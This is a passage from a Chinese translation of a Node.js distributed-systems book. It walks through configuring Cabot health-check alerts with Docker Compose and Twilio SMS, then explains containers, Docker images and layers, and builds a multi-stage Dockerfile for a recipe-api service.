使用界面时,你还需要配置一个Trial Number。这是一个虚拟电话号码,你可以在这个项目中使用。电话号码以加号和国家代码开头,后面跟着号码的其余部分。你需要在项目中使用这个号码,包括加号和国家代码。你收到的号码可能看起来像+15551234567。
最后,你需要将你个人手机的电话号码配置为 Twilio 的Verified Number/Verified Caller ID。这样你就可以确认该电话号码属于你,而你并不只是利用 Twilio 向陌生人发送垃圾短信。这是 Twilio 试用账户的一项限制。验证你的电话号码后,你可以配置 Cabot 向其发送短信。
通过 Docker 运行 Cabot
Cabot 比本章涵盖的其他服务更复杂一些。它需要多个 Docker 镜像,而不仅仅是一个单一的镜像。因此,你需要使用Docker Compose启动多个容器,而不是使用 Docker 启动单个容器。运行以下命令拉取 git 仓库,并检出一个已知与此示例兼容的提交:
$ git clone git@github.com:cabotapp/docker-cabot.git cabot
$ cd cabot
$ git checkout 1f846b96
接下来,在这个仓库中创建一个位于conf/production.env的新文件。请注意,这并不是你在distributed-node目录中创建的其他项目文件。将示例 4-13 中的内容添加到这个文件中。
示例 4-13. config/production.env
TIME_ZONE=America/Los_Angeles 
ADMIN_EMAIL=admin@example.org
CABOT_FROM_EMAIL=cabot@example.org
DJANGO_SECRET_KEY=abcd1234
WWW_HTTP_HOST=localhost:5000
WWW_SCHEME=http
# GRAPHITE_API=http://<YOUR-IP-ADDRESS>:8080/ 
TWILIO_ACCOUNT_SID=<YOUR_TWILIO_ACCOUNT_SID> 
TWILIO_AUTH_TOKEN=<YOUR_TWILIO_AUTH_TOKEN>
TWILIO_OUTGOING_NUMBER=<YOUR_TWILIO_NUMBER>
将此值设置为你的TZ 时区。
为了额外的学分,配置一个使用你的 IP 地址的 Graphite 源。
如果你不使用 Twilio,请省略这些行。请确保在电话号码前加上加号和国家代码。
提示
如果你愿意尝试,配置GRAPHITE_API行以使用你在“使用 Graphite、StatsD 和 Grafana 进行指标监控”中创建的相同的 Graphite 实例。稍后,在使用 Cabot 界面时,你可以选择对哪些指标创建警报。这对于获取指标(如请求时间)并在其超过一定阈值(如 200 毫秒)时发出警报非常有用。但为简洁起见,本节不涵盖设置步骤,你可以省略该行。
配置 Cabot 完成后,运行以下命令启动 Cabot 服务:
$ docker-compose up
这将导致几个 Docker 容器开始运行。在终端中,您会看到每个镜像下载完成后的进度,以及每个容器运行时的彩色输出。一切安定下来后,您就可以继续下一步了。
创建健康检查
作为示例,使用您在前一节中创建的 basic-http-healthcheck.js 文件(示例 4-12)。执行该文件,并按照 示例 4-11 中配置的方式运行 Postgres 服务。完成后,Cabot 可以配置为使用 Node.js 服务公开的 /health 端点。
现在 Node.js 服务正在运行,请使用您的 Web 浏览器打开 Cabot Web 服务,访问 http://localhost:5000。
首先,您将被提示创建一个管理员账户。使用默认用户名 admin。接下来,输入您的电子邮件地址和密码,然后点击创建。然后,您将被提示登录。在用户名字段输入 admin,再次输入密码,然后点击登录。最后,您将进入不包含任何条目的服务屏幕。
在空的服务屏幕上,点击大加号符号,以跳转到 新服务 屏幕。然后,将 表 4-3 中的信息输入到创建服务表单中。
表 4-3. 在 Cabot 中创建服务的字段
| 名称 | Dist Node Service |
|---|---|
| 网址 | http://<LOCAL_IP>:3300/ |
| 需通知的用户 | admin |
| 警报 | Twilio 短信 |
| 启用警报 | 已选中 |
同样,您需要将 <LOCAL_IP> 替换为您的 IP 地址。输入信息后,点击提交按钮。这将带您到一个屏幕,您可以在那里查看 Dist Node Service 的概述。
在此屏幕上,向下滚动至 Http 检查部分,并点击加号图标,以跳转到 新检查 屏幕。在此屏幕上,将 表 4-4 中的信息输入到“创建检查”表单中。
表 4-4. 在 Cabot 中创建 HTTP 检查的字段
| 名称 | Dist Node HTTP Health |
|---|---|
| 终端 | http://<LOCAL_IP>:3300/health |
| 状态码 | 200 |
| 重要性 | 关键 |
| 活跃 | 已选中 |
| 服务集 | Dist Node Service |
输入信息后,点击提交按钮。这将带您回到 Dist Node Service 的概述屏幕。
接下来,需要配置admin账户以使用 Twilio SMS 接收警报。在屏幕右上角,点击管理员下拉菜单,然后点击“Profile settings”。在左侧边栏,点击“Twilio Plugin”链接。这个表单会要求你输入你的电话号码。输入你的电话号码,以加号和国家代码开头。这个号码应该与你之前在 Twilio 账户中验证的号码匹配。完成后,点击“Submit”按钮。
设置完手机号码后,点击顶部导航栏中的“Checks”链接。这将带你到 Checks 列表页面,页面上应该只包含你创建的一个条目。点击单个条目,Dist Node HTTP Health,将带你到健康检查历史列表。此时,你应该只能看到一两个条目,因为它们每五分钟运行一次。这些条目旁边应该有一个绿色的“成功”标签。点击右上角的圆形箭头图标以触发另一个健康检查。
现在切换回你的 Node.js 服务正在运行的终端窗口。使用 Ctrl + C 终止它。然后切换回 Cabot 并点击图标再次运行测试。这次测试将失败,并且你将在列表中看到一个新的带有红色背景和“失败”字样的条目。
你还应该收到一条包含警报信息的文本消息。我收到的消息显示在这里:
Sent from your Twilio trial account - Service
Dist Node Service reporting CRITICAL status:
http://localhost:5000/service/1/
如果 Cabot 在某个真实服务器上正确安装并且有真实的主机名,文本消息将包含一个可以在你的手机上打开的有效链接。然而,由于 Cabot 可能在你的笔记本电脑上运行,这个 URL 在这种情况下就没什么意义了。
点击屏幕顶部的“Services”链接,然后再次点击“Dist Node Service”链接。在这个屏幕上,你现在会看到显示服务状态的图表,以及一个标语,表明服务是关键的,就像在图 4-11 中一样。现在点击“Acknowledge alert”按钮以暂停 20 分钟的警报。这对于给你解决问题的时间而不断地被警报通知是非常有用的。现在是时候修复失败的服务了。

图 4-11. Cabot 服务状态截图
切换回你运行 Node.js 进程的终端,然后再次启动它。然后切换回浏览器。导航回你创建的 HTTP 检查。点击图标再次触发检查。这次检查应该成功,并且将切换回一个绿色的“成功”消息。
Cabot 以及其他警报工具提供了将不同用户分配给不同服务的功能。这一点非常重要,因为组织内的不同团队将拥有不同的服务。当您创建 HTTP 警报时,也可以提供一个正则表达式来应用于正文。这可以用来区分降级服务和不健康服务。然后可以配置 Cabot,使不健康的服务警报工程师,而仅在 UI 中突出显示降级服务。
现在,您已完成 Cabot Docker 容器的操作。切换到运行 Cabot 的窗口,按 Ctrl + C 以终止它。然后运行以下命令从系统中删除这些容器:
$ docker rm cabot_postgres_1 cabot_rabbitmq_1 \
cabot_worker_1 cabot_beat_1 cabot_web_1
^(1) 请注意,process.hrtime() 只能用于获取相对时间,不能用于获取具有微秒精度的当前时间。
^(2) 这个示例不会将数据持久化到磁盘,不适合生产使用。
第五章:容器
程序通常不会在单个文件中捆绑它们所需的一切。这不仅适用于 Node.js 程序,它们至少由一个 .js 文件和 node 可执行文件组成,还适用于使用其他平台编译的程序。通常还涉及其他要求,如共享库。即使是用 C 语言编写的静态链接其依赖项的单一可执行二进制文件,在技术上仍依赖于内核提供的系统调用 API。
程序的分发和执行有许多不同的方法。每种方法都涉及到可移植性、效率、安全性和脆弱性的权衡。
有时“只需发布一个二进制文件”很好。但这意味着至少需要为不同的操作系统发布不同的二进制文件,有时(例如当一个二进制文件依赖于 OpenSSL 时)需要根据操作系统和库版本发布多个二进制文件。这是一个可移植性问题。
共享库存在的一个最大问题之一。考虑一台运行 Linux 操作系统的服务器。这台单一机器预期要运行两个软件,调整大小服务 A 和 调整大小服务 B。然而,一个版本依赖于 ImageMagick v7,而另一个则依赖于 ImageMagick v5。现在安装 ImageMagick 共享库不再是一件简单的任务;而是需要在不同的库版本之间进行隔离操作。这种情况非常脆弱。
运行多个程序可能会出现其他问题。也许两个程序需要在文件系统中维护一个锁文件,并且路径是硬编码的。或者这些程序希望监听同一个端口。或者可能其中一个程序被入侵,然后被攻击者用来干扰另一个程序,这是一个安全问题。
虚拟机(VMs)被创建来解决这些问题。虚拟机能够在主机操作系统内部仿真计算机硬件,具有对内存和磁盘空间的隔离子集的访问能力。安装在虚拟机中的操作系统能够完全隔离地运行程序,与主机操作系统无关。这是一个非常强大的概念,今天仍然非常重要。然而,它的缺点是每个运行的虚拟机都需要整个操作系统的副本。这也意味着新部署的虚拟机需要花费时间来启动客户操作系统。这种开销可能会导致每个程序专用一个虚拟机变得不切实际,这是一个效率问题。
容器 是描述并捆绑程序要求的一种方式,以可分发的包装形式提供。这包括私有文件系统及其中的共享库内容,隔离的 PID 列表和可以监听的隔离端口,而无需担心与另一个容器发生冲突,同时不允许访问其他容器的内存。唯一未捆绑在容器中的是操作系统本身,而是依赖于主机操作系统(或更具体地说,主机操作系统的内核)。容器内部的系统调用在提供给主机操作系统之前会进行轻微的转换。
图 5-1 比较了三种程序隔离方法。第一种方法,我称之为 经典 方法,依赖于直接在硬件上运行的操作系统上运行程序。在这种情况下,可能会出现与共享库的复杂协调。当部署新程序时可能需要系统管理员,或者组织可能需要同意在所有地方使用完全相同的依赖项。然而,其开销最小。第二种方法,虚拟机,涉及操作系统内核的冗余副本,可能为每个程序(尽管通常在同一个虚拟机内运行多个程序)。虚拟机的命名法将父操作系统称为 主机操作系统,将子操作系统称为 客户操作系统。第三种方法,容器,展示了容器抽象如何重用内核,但共享库可能会是冗余的。它还说明了需要更小的容器。
理想情况下,一个程序可以很快地被部署到任何地方,无论它需要什么依赖关系,然后可以消耗 CPU 和 RAM 并回应网络请求。一旦不再需要这个程序,可以快速地将其拆除,而不会留下任何混乱。
注意
现代技术栈应至少利用这两种方法中的两种。虽然容器非常适合部署无状态的第一方程序,这些程序经常更新和部署,并且可以进行垂直和水平扩展,但是对于运行在操作系统上的有状态数据库来说,直接运行更为有利,无论是虚拟的还是其他类型的操作系统。

图 5-1. 经典 vs. 虚拟机 vs. 容器
容器已经赢得了程序封装的战斗。它们已经成为现代面向服务的架构中程序部署的基本单位。这种抽象层次具有共享库的冗余性但不具有操作系统的冗余性,这正好命中了内存效率和可移植性的最佳平衡点,同时又具有健壮性和安全性。已经存在几种不同的容器格式,但只有一种格式变得无处不在。
Docker 简介
Docker 是一组相关工具的集合。首先要提到的工具是 dockerd 守护程序,它公开了一个用于接收命令的 HTTP API。下一个工具是 docker CLI,它调用守护程序,并且是你在本书中迄今为止与 Docker 交互的方式。Docker 的一个重要功能是 Docker Hub,这是 Docker 镜像的中央仓库。虽然可能存在竞争的容器格式,但没有一个像它一样令人印象深刻的市场。
一个 Docker 镜像是一个不可变的文件系统表示,你可以在其中运行应用程序。一个 Docker 镜像也可以从另一个镜像扩展。例如,一个基本的 Ubuntu 镜像,接着是一个 Node.js 镜像,最后是一个应用程序镜像。在这种情况下,Ubuntu 镜像提供了基本的文件系统(/usr/bin、用户和权限以及常见库)。Node.js 镜像提供了 Node.js 需要的 node 和 npm 二进制文件和共享库。最后,应用程序镜像提供了 .js 应用程序代码,node_modules 目录(可能包括为 Linux 编译的模块),甚至其他应用程序特定的依赖项(比如编译的 ImageMagick 二进制文件)。
Docker 运行 Linux 应用程序。然而,在这些镜像层中实际上并没有提供 Linux 内核,甚至没有基本的 Ubuntu 镜像。相反,这最终来自于在 Docker 外部运行的 Linux 操作系统。当运行 Docker 的机器是 Linux 机器(这通常是服务器上运行的生产应用程序的工作方式),那么可能只涉及一个操作系统。当 Docker 运行在非 Linux 操作系统上,比如 macOS 或 Windows 开发机器上,那么需要一个 Linux 虚拟机。Docker Desktop 是 Docker 为这种情况创建的工具。Docker Desktop 不仅提供了一个虚拟机,还提供了其他便利功能,比如管理 UI 和 Kubernetes(在第七章中有更详细的介绍)。
一个 Docker 容器是与配置相关联的 Docker 镜像的实例,配置包括名称、端口映射和卷映射,这就是容器内的文件系统如何映射到主机文件系统的方式。这意味着你可以在单台机器上运行指向同一镜像的多个容器,只要你有足够的计算资源。容器可以以多种方式启动、停止和交互。
Docker 的一个重要方面是Dockerfile,它是描述 Docker 镜像的声明性文件。Dockerfile 可以包含许多不同的行,描述容器最终是如何构建的。指令被列在不同的行上,指令从上到下依次运行。第一个指令通常是FROM指令,这是一个图像声明要使用的父图像的方式。例如,官方 Node.js Alpine 容器使用FROM alpine:3.11作为 Dockerfile 的第一行。在这种情况下,它声明了名为alpine的 Docker 镜像标记为3.11版本是其基础容器。然后,应用程序可以通过使用FROM node:lts-alpine3.11指令来扩展该图像。这些指令将很快详细介绍。请注意,Docker 镜像不能有多个父 Docker 镜像——这里没有多重继承!但是可以有多个FROM指令,这被称为多阶段 Dockerfile。稍后会详细介绍这一点。
每个 Dockerfile 中的新指令都会创建一个新的层。层是在特定指令运行后图像的部分表示。每个层增加了存储大小,可能也增加了图像的启动时间。图 5-2 展示了图像和层之间的关系,以及它们如何对最终文件系统产生影响。因此,应用程序通常会将尽可能多的操作组合成尽可能少的行,通过链接命令。每个层可以被表示为其内容的哈希值,就像git在检出特定提交哈希时所做的那样。因此,如果 Dockerfile 中的一行预计会经常更改,应将其放在 Dockerfile 的后面。这将允许在应用程序的 Docker 镜像的多个版本之间重用先前的层。
Docker 镜像通常通过将文件系统缩小到应用程序所需的最小版本来进行性能调优。Ubuntu Linux 发行版旨在用于桌面和服务器的通用用途,可能相当庞大。Debian 是一个更轻量级的发行版,但它也包含许多整个服务器机器需要但在容器中不需要的工具。Alpine 是一个极度精简的 Linux 发行版,通常是存储意识开发人员的首选基础镜像。有时,一个应用程序确实依赖于这样一个简单基础镜像无法提供的功能,可能需要使用一个更复杂的基础镜像。官方 Node.js Docker 镜像包含了 Debian 和 Alpine 的变体。

图 5-2. 图像包含层,层对文件系统有贡献
当您使用 Docker 图片工作时,例如之前运行的所有 docker run 命令,图片的一个版本将被下载并缓存在您的机器上。这与 npm install 的工作方式非常相似。npm 和 Docker 都会缓存远程文件,并可以跟踪这些文件的多个版本。Docker 甚至会跟踪图片的每一层。
要查看当前缓存在您机器上的 Docker 图片列表,请运行此命令:
$ docker images
然后,您应该看到一个图片列表。我看到的列表如下所示:
REPOSITORY TAG IMAGE ID CREATED SIZE
grafana/grafana 6.5.2 7a40c3c56100 8 weeks ago 228MB
grafana/grafana latest 7a40c3c56100 8 weeks ago 228MB
openzipkin/zipkin latest 12ee1ce53834 2 months ago 157MB
openzipkin/zipkin-slim 2.19 c9db4427dbdd 2 months ago 124MB
graphiteapp/graphite-statsd 1.1.6-1 5881ff30f9a5 3 months ago 423MB
sebp/elk latest 99e6d3f782ad 4 months ago 2.06GB
这个列表暗示了很多事情——除了写一本书需要多少时间。首先,注意一些图片可以有多大。在 sebp/elk 的情况下,图片的大小超过了 2GB!另外,请注意 TAG 列。这一列引用版本。版本通常是三个值之一:一个版本字符串,字符串 latest(表示从注册表中下载时的最新版本),或者值 <none>,通常在为自己的软件构建图片但未提供版本字符串时发生。
每张图片都有两种引用方式。永久的方式是使用图像 ID。这个值应该始终引用完全相同的内容。另一种引用图片的方式是使用其仓库和标签名称。在我的结果中,grafana/grafana 仓库的 6.5.2 标签指向与 latest 标签相同的图片,因为它们具有相同的图片 ID。当我再过几周下载 latest 版本的 Grafana 时,可能会指向不同的图片 ID。
接下来,使用另一个命令来了解每个图片使用的层。这次运行以下命令(如果您的列表不同,请替换为不同的版本号):
$ docker history grafana/grafana:6.5.2
然后您将看到图片不同的层的列表。我得到的结果看起来是这样的:
IMAGE CREATED BY SIZE
7a40c3c56100 /bin/sh -c #(nop) ENTRYPOINT ["/run.sh"] 0B
<missing> /bin/sh -c #(nop) USER grafana 0B
<missing> /bin/sh -c #(nop) COPY file:3e1dfb34fa628163… 3.35kB
<missing> /bin/sh -c #(nop) EXPOSE 3000 0B
<missing> |2 GF_GID=472 GF_UID=472 /bin/sh -c mkdir -p… 28.5kB
<missing> /bin/sh -c #(nop) COPY dir:200fe8c0cffc35297… 177MB
<missing> |2 GF_GID=472 GF_UID=472 /bin/sh -c if [ `ar… 18.7MB
<missing> |2 GF_GID=472 GF_UID=472 /bin/sh -c if [ `ar… 15.6MB
<missing> |2 GF_GID=472 GF_UID=472 /bin/sh -c apk add … 10.6MB
... <TRUNCATED RESULTS> ...
<missing> /bin/sh -c #(nop) ADD file:fe1f09249227e2da2… 5.55MB
在这种情况下,在截断列表之前,Grafana 版本 6.5.2 图片 由 15 个不同的层组成。该列表与 Dockerfile 中的步骤反向对应;列表中较早的条目是 Dockerfile 中较后的行。docker history 命令显示的列表仅包括查询的特定图片的步骤,而不包括任何父图片的步骤。
docker pull 命令用于从远程仓库下载图片。运行以下命令以下载这样的图片:
$ docker pull node:lts-alpine
这将开始下载最新 LTS 发行版的 Alpine 变体的层。在我的情况下,我看到以下输出:
lts-alpine: Pulling from library/node
c9b1b535fdd9: Pull complete
750cdd924064: Downloading [=====> ] 2.485MB/24.28MB
2078ab7cf9df: Download complete
02f523899354: Download complete
在我的情况下,有四个文件大小大于 0 的层被下载(一些层不会修改文件系统,因此不会被列为已下载)。
Debian 变体比 Alpine 变体大得多。例如,这个 LTS Alpine 镜像大小为 85.2MB。如果你使用**docker pull node:lts**命令下载 Debian 变体,你会发现它的大小大约是 913MB。需要记住的一件事是,这些层最终会在不同的机器上被缓存使用。如果你部署一个使用 Debian 变体的应用程序,第一次部署时,服务器需要下载近 800MB 的 Debian 基础镜像。然而,对于后续的部署,Debian 层已经存在,部署速度会更快。
对于大型镜像,存储并不是唯一的关注点。另一个需要考虑的问题是安全性。如果一个在 Debian 中运行的 Node.js 应用程序被黑客攻击,文件系统中会有很多可执行的实用程序。然而,如果一个基于 Alpine 的应用程序被入侵,可执行的二进制文件会更少。理论上,这将导致更小的攻击面。
提示
作为经验法则,如果你的应用程序可以使用 Alpine[¹],就使用 Alpine 吧!如果你的应用程序需要一些共享库,那就在你的 Alpine 镜像中安装这些库。只有对于复杂的应用程序,你才应考虑使用像 Debian 或者 Ubuntu 这样更重的基础容器。
现在你对 Docker 背后的一些理论更加熟悉了,是时候开始运行更多的容器了。对于这个第一个示例,你将运行一个纯净的 Ubuntu 容器,而不用打包一个应用程序进去。本书的前几节已经这样做过。不过,这次你将以交互模式运行容器。运行以下命令进入 Ubuntu 容器内的交互bash会话:
$ docker run -it --rm --name ephemeral ubuntu /bin/bash
-i标志表示会话是交互式的,而-t标志表示 Docker 应该使用一个 TTY 会话(作为一个约定,它们已经组合成-it)。这两个标志设置为使会话交互式。--rm标志告诉 Docker 在退出时删除容器的所有痕迹。--name标志为容器设置一个名称,在列表中有助于识别它。参数ubuntu是正在运行的镜像的名称(实际上是ubuntu:latest的翻译)。/bin/bash的最终参数是 Docker 将在容器内执行的二进制文件。
一旦 Docker 下载了必要的层,你应该看到你的终端提示符发生变化。在这一点上,你可以在正在运行的容器内执行命令。运行命令**ps -e**。这将列出容器内当前正在运行的所有进程。当我运行这个命令时,得到的输出看起来像这样:
PID TTY TIME CMD
1 pts/0 00:00:00 bash
10 pts/0 00:00:00 ps
容器内的根进程,PID 值为 1 的进程是bash。只有第二个进程也在运行,即ps。如果在更传统的 Linux 服务器上运行相同的命令,根进程可能是更复杂的服务管理器,如systemd或init。还会列出数十甚至数百个其他进程。服务管理器处理诸如读取配置文件、运行服务及管理其相互依赖性、以及在子进程失败时以可配置的方式管理进程重启等任务。简而言之,它们是管理完整操作系统所需的复杂工具。
在 Docker 容器内,这种服务管理功能通常过于复杂,应该使用更简单的程序。对于交互式 shell,bash作为根进程就足够了。然而,在更复杂的情况下,您可能需要使用其他程序。例如,有时在 Docker 容器内运行sidecar 进程是有益的。Sidecar 是执行某些任务的外部进程,例如提供代理以便应用程序更轻松地进行服务发现,或者提供健康检查守护程序以轮询应用程序的健康统计信息,并将统计信息中继到另一个服务中。在这些情况下,重启策略变得非常重要。例如,如果 sidecar 崩溃,可能只需重新启动它,但如果主应用程序崩溃,则整个容器应退出。在这些情况下,您可能需要研究一种允许进行细粒度配置的替代服务管理器。
现在切换到新的终端窗口,并运行以下命令:
$ docker ps
这个 Docker 子命令与容器内运行的ps命令不同,但在精神上,两个命令都意在列出当前运行的东西的快照。当我运行此命令时,输出看起来像这样:
CONTAINER ID IMAGE COMMAND CREATED PORTS NAMES
527847ba22f8 ubuntu "/bin/bash" 11 minutes ago ephemeral
请注意,如果您仍在运行其他容器,则可能会看到更多条目。
在当前运行的 Docker 容器中手动执行命令是完全可能的。如果需要调试运行失控的 Node.js 应用程序,这将非常有用。执行此操作的子命令是exec。切换到新的终端窗口,并运行docker exec ephemeral /bin/ls /var命令,以在运行中的 Ubuntu 容器内执行新命令。您刚刚在容器中执行了第二个命令,而不会干扰其他命令。
现在您可以自由地退出容器。切换回运行 Docker 容器的终端,并键入**exit**。容器将被关闭,并且由于使用了--rm标志,它将从您的系统中完全移除。再次运行docker ps将证明它已不再运行。但是,为了证明它已经不在您的系统上,请运行docker ps --all命令。您将看到结果中列出了几个条目,尽管您之前创建的ephemeral容器将不会在其中列出。
提示
此时,您可能希望删除一些不再使用的旧容器,因为它们会占用磁盘空间。要从计算机中删除容器,您可以运行docker rm <name/id>命令,使用十六进制容器标识符或人性化的容器名称。类似地,您可以运行docker images命令以查看计算机上仍然可用的所有镜像列表。然后,您可以运行docker rmi <image id>以删除任何未使用的镜像。请注意,您无法删除当前由容器使用的镜像;必须先删除容器。
如果外部应用程序无法与其接口,那么容器的用处并不大。幸运的是,Docker 提供了两种重要的方法来实现这一点。第一种方法是通过在运行容器内的部分文件系统与主机操作系统中的部分文件系统共享来实现。这是通过使用-v / --volume或--mount标志(前两个是彼此的别名,第三个标志接受更详细的语法,但它们本质上是相同的)来实现的。另一种与容器接口的方法是通过使用-p / --publish标志将容器内的端口映射到主机操作系统中。
执行以下命令下载示例index.html文件并运行已配置为从该目录读取的 nginx 容器:
$ rm index.html ; curl -o index.html http://example.org
$ docker run --rm -p 8080:80 \
-v $PWD:/usr/share/nginx/html nginx
volume和publish标志都具有详细的语法,用于配置主机和容器之间映射的方式。例如,可以指定卷映射是只读的还是端口映射应该是 UDP。这两个标志还支持简单的语法,其中主机上的资源与客户端上的资源映射到合理的默认值。您刚才运行的命令同时为卷映射和端口映射使用了这种简单的语法。在此示例中,使用-p 8080:80将主机上的端口 8080 映射到容器中的端口 80。当前目录使用-v $PWD:/usr/share/nginx/html标志映射到 nginx 用于读取静态文件的目录(-v标志需要绝对目录,这就是为什么命令使用$PWD而不是“.”)。
现在 nginx 容器正在运行,请在浏览器中访问http://localhost:8080/以查看渲染的index.html页面。volume mount标志在运行需要持久状态的数据库服务时非常有用。但是,对于 Node.js 应用程序来说,将主机文件系统挂载是不那么常见的,因为这些服务应该以无状态方式运行。因此,您可能不需要在应用程序中使用volume标志。
Node.js 服务容器化
在本节中,你将为 recipe-api 服务创建一个 Docker 容器。这个容器将用于两个不同的目的。第一个目的是安装包,第二个目的是设置运行 Node.js 应用程序的环境。这两个操作听起来很相似,但正如你将看到的那样,保持这两个概念的分离非常重要。
使用 Docker 来安装项目的包,一开始听起来可能有点奇怪。现在,在你的 recipe-api 目录下,已经有一个 node_modules 目录,其中包含运行应用程序所需的所有模块!为什么这些模块不够好呢?
大部分情况下,这归结于通过包管理器安装的包不仅仅是下载 JavaScript 文件并将其放在文件系统上。相反,从 npm 注册表安装包实际上是一个相当非确定性的操作。首先,如果一个 npm 包涉及本地代码,比如 C++ 文件,那么该代码将需要编译。不能保证在你的本地开发机上编译的输出与 Linux Docker 环境(例如本地开发机可能是 macOS 或 Windows 机器,或者是具有不同共享库版本的 Linux 机器)兼容。
如果你曾部署过一个应用程序,然后看到很多错误日志提到了chokidar或fsevents包,那可能是因为将 macOS 的 node_modules 目录部署到了 Linux 服务器上。这种不确定性的另一个原因是包的 postinstall 和 preinstall 脚本,它们可以运行包作者喜欢的任意代码。有时这被用来下载互联网上的二进制文件。因此,包的安装必须在与最终运行代码相似的环境中进行。
作为安装步骤的一部分,以及准备执行环境的一部分,需要从项目文件所在的目录中复制一些文件。就像 git 有 .gitignore 文件和 npm 有 .npmignore 文件一样,Docker 也有自己的 .dockerignore 文件。这个文件类似于其他文件,指定了应被忽略的文件模式。在 Docker 中,匹配这些模式的文件不会被复制到容器中。忽略这些文件是方便的,因为稍后在指定要复制的文件时可以使用通配符。在 recipe-api/.dockerignore 中创建一个新文件,并将 Example 5-1 中的内容添加到其中。
Example 5-1. recipe-api/.dockerignore
node_modules
npm-debug.log
Dockerfile
这个文件中的条目与你可能在其他 Node.js 项目的 .gitignore 中已经有的文件非常相似。就像你不希望将 node_modules 目录提交到 git 一样,你也不希望这些包被复制到 Docker 镜像中。
依赖阶段
现在是考虑 Dockerfile 本身的时候了。这个例子将使用多阶段的 Dockerfile。第一阶段将构建依赖项,第二阶段将准备应用程序容器。构建阶段将基于官方 Node.js Docker 镜像。这个镜像旨在满足尽可能多的 Node.js 开发者的需求,提供他们可能需要的工具。例如,它包括 npm 和 yarn 包管理器。因此,它是构建应用程序的构建阶段的一个非常有用的基础镜像。
在recipe-api/Dockerfile中创建一个新文件,并将内容从示例 5-2 添加到其中。保持文件打开,因为你稍后将会添加更多内容。
示例 5-2. recipe-api/Dockerfile “deps” 阶段
FROM node:14.8.0-alpine3.12 AS deps
WORKDIR /srv
COPY package*.json ./
RUN npm ci --only=production
# COPY package.json yarn.lock ./
# RUN yarn install --production
这个文件的第一行,以FROM开头,指定了node:14.8.0-alpine3.12镜像作为基础。如果这是整个文件中唯一的FROM指令,它将成为结果镜像的基础。但是,由于稍后将添加另一个FROM指令,它只是构建的第一阶段的基础镜像。此行还指定构建的第一阶段被命名为deps。这个名称将在下一个阶段中非常有用。
WORKDIR /srv 表示接下来的操作将在 /srv 目录内进行。这类似于在 Shell 中运行cd命令,改变当前工作目录。
接下来是COPY语句。语句的第一个参数表示主机文件系统,第二个参数表示容器内的文件系统。在这种情况下,命令指定匹配package*.json(具体为package.json和package-lock.json)的文件将被复制到容器内的./目录(即/srv目录)。或者,如果你更喜欢使用 yarn,你可以复制yarn.lock文件。
接下来是RUN命令。此命令将在容器内执行指定的命令。在这种情况下,它执行npm ci --only=production命令。这将对所有非开发依赖项进行干净的安装。一般来说,当处理类似 Docker 镜像这样的干净环境时,npm ci命令比npm install要快。或者,如果你使用 yarn,你可以运行yarn install --production。同样,由于继承自官方node基础镜像,镜像中都提供了npm和yarn二进制文件。
提示
有些人喜欢在构建的早期阶段安装开发依赖项并运行测试套件。这可以增加对生成镜像没有错误的信心。但是,由于这可能涉及两个单独的npm install步骤(一个带有开发依赖项,一个没有),它并不一定能找到所有的错误,比如如果应用程序代码错误地需要一个开发依赖项。
发布阶段
现在你可以开始处理 Dockerfile 的下半部分了。将内容从示例 5-3 添加到你正在处理的同一recipe-api/Dockerfile文件中。
示例 5-3. recipe-api/Dockerfile “release”阶段第一部分
FROM alpine:3.12 AS release
ENV V 14.8.0
ENV FILE node-v$V-linux-x64-musl.tar.xz
RUN apk add --no-cache libstdc++ \
&& apk add --no-cache --virtual .deps curl \
&& curl -fsSLO --compressed \
"https://unofficial-builds.nodejs.org/download/release/v$V/$FILE" \
&& tar -xJf $FILE -C /usr/local --strip-components=1 \
&& rm -f $FILE /usr/local/bin/npm /usr/local/bin/npx \
&& rm -rf /usr/local/lib/node_modules \
&& apk del .deps
与 Dockerfile 的第一个deps阶段不同,构建的第二个release阶段没有使用官方 Node.js 镜像。相反,它使用了一个相对简单的alpine镜像。原因是官方 Node.js 镜像提供的某些便利在生产应用中是不需要的。例如,一旦依赖项解决,应用程序很少再调用npm或yarn二进制文件。直接使用alpine镜像可以使镜像稍微小一些,更简单一些。它还有助于演示更复杂的 Dockerfile 指令。
接下来的两行定义了其他指令使用的环境变量。这是一种方便的方法,可以防止文件中重复使用常见字符串。第一个变量称为V,表示版本。在本例中,Dockerfile 正在使用 Node.js v14.8.0。第二个变量称为FILE,是要下载的 tar 包的名称。
在环境变量之后是一系列复杂的命令,将使用RUN指令在容器内部执行。Dockerfile 声明将执行多个命令,但它们都包装在一个单独的RUN指令中,以保持中间层的数量较少。行尾的反斜杠表示下一行仍然是同一行的一部分,而&&表示正在运行新的命令(如果前一个命令失败,则不应运行后续命令)。
Alpine 操作系统配备了一个称为apk的包管理器,RUN指令中的前两个命令使用它来安装软件包。通过运行apk add来安装软件包。--no-cache标志告诉apk不要留下任何跟踪安装的软件包管理文件,这有助于保持镜像尽可能小。第一个安装的软件包是libstdc++。该软件包提供 Node.js 所需的共享库。第二个软件包是curl。此软件包仅在设置期间需要,并且稍后将被删除。--virtual .deps标志告诉apk跟踪安装的软件包及其依赖项。稍后,可以一次性删除该组软件包。
接下来的命令在容器内部执行curl,并下载 Node.js 发布的 tar 包。然后,tar命令解压 tar 包的内容到/usr/local。tar 包不包括 yarn,但包括 npm,因此接下来的rm命令删除 npm 及其依赖的文件。最后,apk del .deps命令删除curl及其依赖项。
这是 Dockerfile 中最复杂的部分。现在从 示例 5-4 添加最终内容,其中包含 release 阶段的后半部分指令。
示例 5-4. recipe-api/Dockerfile “release” 阶段第二部分
WORKDIR /srv
COPY --from=deps /srv/node_modules ./node_modules
COPY . .
EXPOSE 1337
ENV HOST 0.0.0.0
ENV PORT 1337
CMD [ "node", "producer-http-basic.js" ]
再次设置工作目录为 /srv。这是 Linux 服务器上的常见约定,但否则,应用程序代码几乎可以位于任何位置。
不过,更有趣的一行是以下 COPY 指令。 --from 标志指示 COPY 指令从镜像构建过程的另一个阶段复制文件,而不是像通常那样从主机操作系统文件系统复制。这就是多阶段构建的魔力所在。在本例中,从 deps 阶段复制 /srv/node_modules 目录到 release 容器内的 /srv/node_modules 目录。这确保了包是为正确的架构构建的。
下一个 COPY 指令将文件从当前目录(.)复制到 /srv 目录(.,WORKDIR 设置为 /srv)。这是 .dockerignore 文件发挥作用的地方。通常,node_modules 也会被复制,覆盖刚从 deps 阶段复制过来的 node_modules。请注意,在这个示例应用程序的情况下,每一个 producer-.js* 文件都将被复制到镜像中。技术上,只需要其中一个文件即可运行服务。但 COPY . 的方法更适用于真实的应用程序。
警告
